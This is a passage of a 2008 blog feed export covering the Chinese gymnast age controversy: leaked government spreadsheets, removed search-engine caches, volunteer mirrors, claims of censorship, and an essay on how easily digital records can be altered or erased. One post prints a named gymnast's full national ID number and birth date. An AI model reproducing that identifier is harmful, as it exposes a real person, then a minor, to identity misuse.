hence the string "19931001" inside this government ID number should be addressed in any future clarifications.&lt;p/&gt;&lt;p&gt;In conclusion, here are links to the Internet Archive's 2006 copies of the athlete exchange agreement hosted on www.sport.gov.cn, Ciu Dalin's General Administration of Sport China.&lt;/p&gt;&lt;br /&gt;&lt;a href="http://web.archive.org/web/*/http://www.sport.gov.cn/show_info.php?n_id=14342"&gt;Internet Archive history of document&lt;/a&gt;&lt;br /&gt;&lt;a href="http://translate.google.com/translate?u=http%3A%2F%2Fweb.archive.org%2Fweb%2F20060622080109%2Fhttp%3A%2F%2Fwww.sport.gov.cn%2Fshow_info.php%3Fn_id%3D14342&amp;hl=en&amp;ie=UTF8&amp;sl=zh-CN&amp;tl=en"&gt;Translated version of 2006 copy&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-5200253476516049342?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/C2l5ziBm_lEEQwM9cT83_8ephtg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/C2l5ziBm_lEEQwM9cT83_8ephtg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/C2l5ziBm_lEEQwM9cT83_8ephtg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/C2l5ziBm_lEEQwM9cT83_8ephtg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/jMegIPPQzlQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/5200253476516049342/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=5200253476516049342" title="54 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/5200253476516049342?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/5200253476516049342?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/jMegIPPQzlQ/consistency-problems-with-cui-dalins.html" title="UPDATED Consistency Problems with Cui Dalin's Statement" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>54</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2008/08/consistency-problems-with-cui-dalins.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUFRH84cSp7ImA9WxdaF00.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-1570958098275699081</id><published>2008-08-24T13:51:00.001-07:00</published><updated>2008-08-25T14:36:55.139-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-25T14:36:55.139-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="censorship" /><category scheme="http://www.blogger.com/atom/ns#" term="let's do it live" /><category scheme="http://www.blogger.com/atom/ns#" term="electronicidentity" /><title>Ready, Set, Censor!</title><content type="html">&lt;h3&gt;Are you faster than the delete button?&lt;/h3&gt;&lt;p&gt;DOCUMENT: &lt;br /&gt;&lt;a href="http://www.zjsports.gov.cn/zjty/node12/node43/userobject1ai4698/00000002.xls"&gt;http://www.zjsports.gov.cn/zjty/node12/node43/userobject1ai4698/00000002.xls&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;DOCUMENT METADATA:&lt;br /&gt;Size: 3438080 Bytes&lt;br /&gt;SHA-1 Signature: 1e1ee2513116b729b927a056cae1af9e87bdfc7e&lt;br /&gt;&lt;br /&gt;DOCUMENT SOURCE:&lt;br /&gt;Zhejiang Provincial Sports Administration &lt;br /&gt;&lt;a href="http://www.zjsports.gov.cn"&gt;http://www.zjsports.gov.cn&lt;/a&gt; &lt;br /&gt;IP Address: 60.191.63.85&lt;br /&gt;&lt;br /&gt;DOCUMENT MIRRORS:&lt;br /&gt;&lt;a href="https://secure.wikileaks.org/wiki/Chinese_youth_athlete_competition_entries_2007"&gt;Mirror @wikileaks&lt;/a&gt; Courtesy Dan Schmitt&lt;br /&gt;&lt;a href="http://www.archive.org/details/ChineseGovernmentRegistrationDocumentZhejiangProvince"&gt;Internet Archive&lt;/a&gt; (&lt;a href="http://ia311316.us.archive.org/2/items/ChineseGovernmentRegistrationDocumentZhejiangProvince/00000002.xls"&gt;Direct Download&lt;/a&gt;)&lt;br /&gt;&lt;a href="http://news.uclaradio.com/"&gt;UCLA Radio&lt;/a&gt; Courtesy Carey Shenkman&lt;br /&gt;&lt;a href="http://heathershow.com/media/00000002.xls"&gt;Mirror @www.heathershow.com&lt;/a&gt; Courtesy Heather Lawver&lt;br /&gt;&lt;br /&gt;DOCUMENT ANALYSIS:&lt;br /&gt;&lt;pre&gt;Registration Number: TC2001C017&lt;br /&gt;Name: Jiang Yuyuan 江钰源&lt;br /&gt;National Id Number: 330302199310013648&lt;br /&gt;Gender: F&lt;br /&gt;Date of Birth 10/1/1993&lt;br /&gt;Training: Gymnastics&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Jiang_Yuyan"&gt;Jiang Yuyan's Wikipedia page&lt;/a&gt; states: &lt;pre&gt;After beginning her gymnastics career &lt;br /&gt;in Guangxi Province, she transferred to the&lt;br /&gt;Zhejiang Provincial Team in 1999&lt;/pre&gt;&lt;br /&gt;SCREENSHOTS:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bkUaeM7papk/SLHKLjmr9YI/AAAAAAAAACI/4G0whiJoGHI/s1600-h/row-11279.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_bkUaeM7papk/SLHKLjmr9YI/AAAAAAAAACI/4G0whiJoGHI/s400/row-11279.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5238190141493474690" /&gt;&lt;/a&gt;&lt;p&gt;Highlight of row 11279, showing Jiang Yuyan&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bkUaeM7papk/SLHKDyhygOI/AAAAAAAAACA/bacIkkfGHA4/s1600-h/jiang-yuyuan-translated.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_bkUaeM7papk/SLHKDyhygOI/AAAAAAAAACA/bacIkkfGHA4/s400/jiang-yuyuan-translated.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5238190008060510434" /&gt;&lt;/a&gt;&lt;p&gt;Screenshot of the WorldLingo translation engine, with the name from row 11279 pasted in.&lt;/p&gt;&lt;h3&gt;Credit where credit is actually due&lt;/h3&gt;&lt;p&gt;I am dedicating this post to my anonymous source, without whom this would not have happened, as well as the large Internet community within China whom I believe started this investigation at much greater risks to themselves. In addition I'd like to cite four articles which pre-date this blog which cover a lot of the same material, though with a different presentation. It's impossible for me to know if I've run across the same or different documents than these reporters, because I've never had access to their urls. That said, these folks were covering this story long before I ever tried to learn anything about it.&lt;/p&gt;&lt;UL&gt;&lt;LI&gt;&lt;a href="http://www.nytimes.com/2008/07/27/sports/olympics/27gymnasts.html?pagewanted=1&amp;_r=2&amp;hp"&gt;NY Times&lt;/a&gt; (Jere Longman and Juliet Macur)&lt;/LI&gt;&lt;LI&gt;&lt;a href="http://www.latimes.com/sports/olympics/la-sp-he28-2008jul28,0,4332276.story"&gt;LA Times&lt;/a&gt; (Diane Pucin)&lt;/LI&gt;&lt;LI&gt;&lt;a href="http://www.huffingtonpost.com/david-flumenbaum/scandal-of-the-ages-docum_b_118842.html"&gt;Huffington Post&lt;/a&gt; (David Flumenbaum)&lt;/LI&gt;&lt;LI&gt;&lt;a href="http://ap.google.com/article/ALeqM5hi4rzBxgMTM92A9p57rUG_iBvQXAD92I2NGO0"&gt;Associated Press&lt;/a&gt; (Nancy Armour and John Leicester)&lt;/LI&gt;&lt;/UL&gt;&lt;h3&gt;What Now?&lt;/h3&gt;&lt;p&gt;This has been an exhausting week. I honestly don't know what there is left to do, after posting this document. It's an original document straight off a government web site, with government id numbers, birth dates, etc. There are over ten thousand names and hand entered details. How could anyone ever forge something like that? It would take an army to gather that amount of detail and make it stand up to scrutiny. I think I'm going to grab a beer and watch this young woman's identity vanish into thin air. If you're watching it with me, think about our upcoming American elections, which are going to be decided by voting machines which generate only electronic documents. Think about the permanence and weight of electronic documents. And think about a future in which our identities are purely electronic. Cheers!&lt;/p&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;p&gt;&lt;b&gt;update&lt;/b&gt; An article from 2007 which states that He Kexin was 13 at the time (making her 14 in 2008) is still &lt;a href="http://www.whjs.gov.cn/whty/content/2007-11/05/content_127093.htm"&gt;hosted on a government website&lt;/a&gt;. Which would make five documents regarding Kexin, for anyone counting.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-1570958098275699081?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WD0AryYX7WOoE8npNi09wWPzjuQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WD0AryYX7WOoE8npNi09wWPzjuQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WD0AryYX7WOoE8npNi09wWPzjuQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WD0AryYX7WOoE8npNi09wWPzjuQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/b6hMLQ4uZnU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/1570958098275699081/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=1570958098275699081" title="39 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/1570958098275699081?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/1570958098275699081?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/b6hMLQ4uZnU/ready-set-censor.html" title="Ready, Set, Censor!" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_bkUaeM7papk/SLHKLjmr9YI/AAAAAAAAACI/4G0whiJoGHI/s72-c/row-11279.jpg" height="72" width="72" /><thr:total>39</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2008/08/ready-set-censor.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcCSXs_eyp7ImA9WxdaFUQ.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-7891061033531767677</id><published>2008-08-24T07:24:00.000-07:00</published><updated>2008-08-24T08:01:08.543-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-24T08:01:08.543-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="censorship live" /><title>Watch Government Censorship Live!</title><content type="html">&lt;h3&gt;Here Goes Nothing&lt;/h3&gt;&lt;p&gt;I have received a tip from an insider within China. What I was sent is a link to a government document which is &lt;i&gt;still hosted on a government web server&lt;/i&gt;. I have downloaded it and done as much due diligence on it as I am able, and the results are amazing. This document contains a much deeper level of information on a Chinese gymnast than was previously available. I am in the process of asking trusted helpers to mirror this document and vouch for it.&lt;/p&gt;&lt;h3&gt;1984 in Prime Time&lt;/h3&gt;&lt;p&gt;What I am going to do is this. At exactly 1800 Eastern Standard (2300 GMT), I will post a direct link to a primary document hosted on a government server in China. Then, we will have a race. We will see how many people can download and verify this document before it is wiped out. And for those watching, you will have a chance at a glimpse of our possible shared future: the erasure of an entire identity.&lt;/p&gt;&lt;h3&gt;At What Risk?&lt;/h3&gt;&lt;p&gt;I may end up with egg on my face here. It is possible the folks at the Great Firewall will detect my Internet activity and delete the document before I release it to the public. I am willing to take this risk. I have a copy, I will swear to its authenticity. I have uploaded it to wikileaks with a delayed release. I believe the opportunity is worth the risk. I hope you will join me.&lt;/p&gt;&lt;br /&gt;-stryde.hax&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-7891061033531767677?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Y2_7kbUFmiyfebqEHv-DR6Hj6wo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Y2_7kbUFmiyfebqEHv-DR6Hj6wo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Y2_7kbUFmiyfebqEHv-DR6Hj6wo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Y2_7kbUFmiyfebqEHv-DR6Hj6wo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/Ed4hQl1p57s" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/7891061033531767677/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=7891061033531767677" title="8 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/7891061033531767677?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/7891061033531767677?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/Ed4hQl1p57s/watch-government-censorship-live.html" title="Watch Government Censorship Live!" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>8</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2008/08/watch-government-censorship-live.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkIDRnwzfip7ImA9WxdaFk0.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-5052973884148589885</id><published>2008-08-23T18:47:00.000-07:00</published><updated>2008-08-24T12:02:57.286-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-24T12:02:57.286-07:00</app:edited><title>And Then They Were Gone</title><content type="html">&lt;h3&gt;Dude, Where's My Cache?&lt;/h3&gt;&lt;p&gt;Remember when this all began, &lt;i&gt;four days ago&lt;/i&gt;, I asked the world to cache the documents discovered in the Baidu cache, just in case they disappeared? Well sometime between last night and today, they did just that. A day after the &lt;a href="http://www.wsj.com/article/SB121936892735862407.html?mod=psp_editors_picks"&gt;Wall Street Journal was able to retrieve a copy&lt;/a&gt; from the Baidu cache, it dissappeared. Here are the original links: &lt;a href="http://cache.baidu.com/c?m=9f65cb4a8c8507ed4fece763105392230e54f7227e8a905368d4e41dce204c413037bfa673794e5392d8242140b20a17a2a17d247c1e68e6dd999f4aaaf1cc693bcd7a742613913161c468d8dc4755d650e44d98a40e91b8e74391b9d2a2dc5f58cc&amp;p=882a97128c805ffc57ecd3214f&amp;user=baidu"&gt;cache1&lt;/a&gt; &lt;a href="http://cache.baidu.com/c?m=9d78d513d9d431dc4f9ce3690c66c0166d43f1682ba1d2020ed68448e267504a4172a4fb792d4a4295876b6672b25419afb52172404262eadb8e9f4aaaeecf6c388850652c01d21a4c8458b2930064dc60c70fe9ad1be3a7b863d5ffc5d3a81e0d8b&amp;p=8b2a941786cc43f113fecb3146&amp;user=baidu"&gt;cache2&lt;/a&gt;. Surprisingly, the document I linked in a subsequent post is (at the time of this post) still present: &lt;a href="http://cache.baidu.com/c?m=9f65cb4a8c8507ed4fece763105392230e54f7227e8a905368d4e41dce204c413037bfa673794e5392d8242140b2090bbff03470301e22b0dd93d91980ac925f65d666203541c6171d965ceadc46528062cd1aafb81990efad7684aea582834907910d523b9da8cd1b1d549d3af01633e4bb9b4f530441e9b0276588132968&amp;p=9e64c54ad6b105fc57ecc00c4e&amp;user=baidu"&gt;cache3&lt;/a&gt;. Does this removal necessarily mean malfeasance? We can't be certain, as all search engine caches have a timeout period, in which older documents are expunged. Maybe this was just the natural timeout period of the documents, maybe not. Either way, it now becomes imperative to build mirrors of the third document, &lt;a href="http://cache.baidu.com/c?m=9f65cb4a8c8507ed4fece763105392230e54f7227e8a905368d4e41dce204c413037bfa673794e5392d8242140b2090bbff03470301e22b0dd93d91980ac925f65d666203541c6171d965ceadc46528062cd1aafb81990efad7684aea582834907910d523b9da8cd1b1d549d3af01633e4bb9b4f530441e9b0276588132968&amp;p=9e64c54ad6b105fc57ecc00c4e&amp;user=baidu"&gt;cache3&lt;/a&gt;, as we can reasonably expect it to dissapear soon.&lt;/p&gt;&lt;p&gt;The good news is, hundreds of people mirrored these documents before they were removed, and can vouch for what they saw. Here are just a few of the massive outpouring of volunteer mirrors that showed up in the comments section:&lt;/p&gt;&lt;UL&gt;&lt;LI&gt;&lt;a href="http://treetops-llc.com/chasd00/screen1.html"&gt;doc1&lt;/a&gt; &lt;a href="http://treetops-llc.com/chasd00/screen2.html"&gt;doc2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.codechimp.net/he_kexin/c.html"&gt;doc1&lt;/a&gt; &lt;a href="http://www.codechimp.net/he_kexin/c2.html"&gt;doc2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.czepp.net/age/link1/c.htm"&gt;doc1&lt;/a&gt; &lt;a href="http://www.czepp.net/age/link2/c.htm"&gt;doc2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.webcitation.org/5aDswJ7oy"&gt;doc1&lt;/a&gt; &lt;a href="http://www.webcitation.org/5aDszWnfp"&gt;doc2&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Behind the Wall?&lt;/h3&gt;&lt;p&gt;I've received so much information in that last few days I don't know how to get to it all. Here's a small excerpt of an email I received from within China:&lt;/p&gt;&lt;i&gt;As a fellow resident in China, some 60 miles north of Grace, I must say that Grace's comment is at least partially correct. China is in many ways a wonderful place. However, I must take factual exception to some of her statements. While your blog has not been discovered by authorities yet, if I do a search for "NYTimes and underage gymnasts" on Google my internet connectivity at home is suspended for 15 minutes, and I am unable to establish any outside connections to ANY website from any computer in my home. In addition, while researching the gymnasts scandal, my internet searches routinely turned up blank pages for well known sites whose uptime is better than four 9s and my internet connection was suspended several times for 15 minutes each&lt;/i&gt;&lt;p&gt;Like the earlier email from Grace this one is impossible to verify, but the assertions made within are repeated often by those living within China.&lt;/p&gt;&lt;h3&gt;Full of Sound and Fury, signifying...?&lt;/h3&gt;&lt;p&gt;In the end, what does this all mean? Aside from the &lt;i&gt;three&lt;/i&gt; spreadsheets I found, there is this &lt;a href="http://translate.google.com/translate?u=http%3A%2F%2Fweb.archive.org%2Fweb%2F20070630205138%2Fhttp%3A%2F%2Fwww.sport.gov.cn%2Fshow_info.php%3Fn_id%3D14342&amp;hl=en&amp;ie=UTF8&amp;sl=zh-CN&amp;tl=en"&gt;fourth document&lt;/a&gt;, hosted by the Internet Archive, also hosted by the General Administration Sport China (www.sport.gov.cn), also &lt;i&gt;currently missing&lt;/i&gt;, which states that He Kexin's birthday is Jan 1, 1994. That's four documents removed from the same government web server that are all in complete agreement about He Kexin's birthday. Stored on multiple web servers around the world! In fact, the Internet Archive keeps a history of when it stored its document copies, and it goes back to the year &lt;a href="http://web.archive.org/web/*/http://www.sport.gov.cn/show_info.php?n_id=14342"&gt;2006&lt;/a&gt;, showing two separate, identical retrievals of the now-removed document. And what of the &lt;a href="http://www.huffingtonpost.com/david-flumenbaum/scandal-of-the-ages-docum_b_118842.html"&gt;amazing Huffington Post article&lt;/a&gt; which predates my blog, showing screenshots of official news reports in which He Kexin's age is suddenly changed from 14 to 16, and a list published by the Chengdu government showing He Kexin's birthday to be, &lt;i&gt;again&lt;/i&gt;, Jan 1 1994? What can we do with this vast preponderance of electronic evidence, all of which has been removed from the servers that once hosted it?&lt;/p&gt;&lt;h3&gt;A Future Yet to be (Re)Written&lt;/h3&gt;&lt;p&gt;We live in the Information Age, and we are facing a future in which &lt;i&gt;all documents will be electronic&lt;/i&gt;. Doubtful? Later this year, American voters will elect a president using electronic voting machines which &lt;a href="http://www.verifiedvoting.org"&gt;don't leave a paper trail&lt;/a&gt;. Americans can sign up now for bank accounts which are &lt;a href="http://www.citi.com/hungary/consumer/online_banking/citibankonline/e_bankszamla/index_e.htm"&gt;completely electronic&lt;/a&gt; and generate no consumer available paper records. And most DMV's, state agencies for issuing official id, are online now. A future of electronic records? &lt;i&gt;We're living in it&lt;/i&gt;.&lt;/p&gt;&lt;h3&gt;No Proof&lt;/h3&gt;&lt;p&gt;If you receive a printed bank statement one month that says you have $3000, and the next month it says you have $2000, you can take both statements to court. If you have online banking, what do you take to court? If you vote electronically, what is the standard of proof for an audit? How can anyone prove the validity of a digital document? That was the question I faced four days ago, and my ad-hoc solution of community mirroring shows the dearth of solutions available to the public. The nature of digital documents has changed irrevocably, and our institutions have failed to keep up. Digital documents are &lt;i&gt;invisibly malleable&lt;/i&gt; and &lt;i&gt;non-persistent&lt;/i&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Invisibly malleable&lt;/i&gt;. The art of paper document forgery is as old as art forgery, dating back hundreds of years. Meanwhile digital document forgery is as easy as changing one number in a spreadsheet, and right now we lack the tools to track these changes. The coming wave of remote application providers like Google Docs might someday be able to provide us with a chain-of-trust type solution to this problem, but that day is a long way off. In the meantime, we face this problem with voting machines, where digital changes to vote tallies cannot be detected. The public deserves a solution to this problem, and it is a challenge for the information security industry to provide it. For now, I favor paper verified voting.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Non-persistent&lt;/i&gt;. The problem of non-persistence is the problem that the international community is now having with the electronic documents mentioned in this blog and elsewhere regarding He Kexin's age. In the blink of an eye, a document can be removed from the web server that hosts it, and someone seeking to prove the historical existence of that document has no recourse whatsoever. In a future in which all identity documents are electronic, does that mean that someone's identity can be erased? I would answer with a question: is He Kexin being erased, or overwritten? I'll let anyone who has read this blog reach their own conclusions in that regard. But again, I challenge the information security community: we &lt;i&gt;need&lt;/i&gt; a solution. Recently my colleague &lt;a href="http://schmoil.blogspot.com/"&gt;Mike Zusman&lt;/a&gt; and researcher &lt;a href="http://www.doxpara.com/"&gt;Dan Kaminsky&lt;/a&gt; gave presentations at Blackhat highlighting fundamenatal problems with the mechanisms that allow Internet users to trust that they are arriving at the web site they requested. These problems are related: how do we verify sites, and how do we verify documents hosted on sites? DNS security, SSL security, and the unfilled need for a legally admissable Internet Notary that can prove the historical existence of electronic documents. These are the solutions to the problems I've encountered this week. These are the solutions which can keep our elections safe, and preserve our culture of verifiable documents. I for one look forward to a future where innovative solutions to these problems are available to the citizens of the world.&lt;/p&gt;&lt;br /&gt; -stryde.hax&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;Check out this recently submitted link from an anonymous user comment, in English! "&lt;a href="http://english.people.com.cn/90001/90779/90867/6416685.html"&gt;14-year-old newcomer to the national team&lt;/a&gt;"! &lt;a href="http://209.85.215.104/search?q=cache%3Ahttp%3A%2F%2Fenglish.people.com.cn%2F90001%2F90779%2F90867%2F6416685.html&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=com.ubuntu:en-US:unofficial"&gt;Google Cache&lt;/a&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;p&gt;No longer anonymous. The above link was submitted by Jody Lanard M.D.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-5052973884148589885?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/N1FXYTQXeldZRdgeOLZkhMp4Auo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/N1FXYTQXeldZRdgeOLZkhMp4Auo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/N1FXYTQXeldZRdgeOLZkhMp4Auo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/N1FXYTQXeldZRdgeOLZkhMp4Auo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/0Ja6LLagGfM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/5052973884148589885/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=5052973884148589885" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/5052973884148589885?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/5052973884148589885?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/0Ja6LLagGfM/and-then-they-were-gone.html" title="And Then They Were Gone" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>5</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2008/08/and-then-they-were-gone.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkAGRH4zeCp7ImA9WxdaFE4.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-4443922207180001128</id><published>2008-08-22T11:56:00.000-07:00</published><updated>2008-08-22T12:52:05.080-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-22T12:52:05.080-07:00</app:edited><title>Citizen Journalists Take the Lead</title><content type="html">&lt;h3&gt;Look what YOU found!&lt;/h3&gt;&lt;p&gt;I've been reading the comments posted to this blog with great interest. What follows are comments that I found exciting and intriguing.&lt;/p&gt;&lt;h3&gt;BrittleBlogger said...&lt;/h3&gt;&lt;p&gt;Following your lead i have just translated the header in these documents (see below). This shows that the document that you translated is not just the results of a competition it is the NATIONAL REGISTER of gymnasts. This evidence is getting pretty damning!&lt;/p&gt;&lt;pre&gt;"Gymnasts reported in 2005 the National Registry Page"&lt;br /&gt;    "2005 National Gymnasts reported registry"&lt;br /&gt;    "No.", "name (in)", "Sex" and "Date of Birth", "native", "birth" and "registered", "Remarks"&lt;/pre&gt;&lt;p&gt;&lt;i&gt;Please note: this translation has not been verified by a Chinese language expert. I am still hoping to get in touch with a language expert who can provide trusted analysis of these documents. -Stryde&lt;/i&gt;&lt;/p&gt;&lt;br /&gt;&lt;h3&gt;Ronald said...&lt;/h3&gt;&lt;p&gt;&lt;br /&gt;    Update:&lt;br /&gt;    Do this search :&lt;br /&gt;&lt;a href="http://www.google.cn/search?complete=1&amp;hl=zh-CN&amp;inlang=zh-CN&amp;client=aff-sina&amp;channel=hpsearch&amp;hs=D5Q&amp;affdom=sina.com.cn&amp;q=%E4%BD%95%E5%8F%AF%E6%AC%A3+1994+site%3Awww.sport.gov.cn&amp;btnG=Google+%E6%90%9C%E7%B4%A2&amp;meta=&amp;aq=f"&gt;http://www.google.cn/search?complete=1&amp;hl=zh-CN&amp;inlang=zh-CN&amp;client=aff-sina&amp;channel=hpsearch&amp;hs=D5Q&amp;affdom=sina.com.cn&amp;q=%E4%BD%95%E5%8F%AF%E6%AC%A3+1994+site%3Awww.sport.gov.cn&amp;btnG=Google+%E6%90%9C%E7%B4%A2&amp;meta=&amp;aq=f&lt;/a&gt;&lt;br /&gt;    You'll see this reference:&lt;br /&gt;    &lt;a href="http://www.sport.gov.cn/show_info.php?n_id=14342"&gt;http://www.sport.gov.cn/show_info.php?n_id=14342&lt;/a&gt;&lt;br /&gt;    Of course it's not there, but in comes the wayback machine:&lt;br /&gt;&lt;a href="http://web.archive.org/web/20070630205138/http://www.sport.gov.cn/show_info.php?n_id=14342"&gt;http://web.archive.org/web/20070630205138/http://www.sport.gov.cn/show_info.php?n_id=14342&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;i&gt;This is an absolutely amazing find by Ronald. What you're seeing above is a document which was removed from the Chinese government server www.sport.gov.cn, listing He Kexin's birthday as 1994-1-1, saved in The Internet Archive (last link). The &lt;a href="http://web.archive.org"&gt;Internet 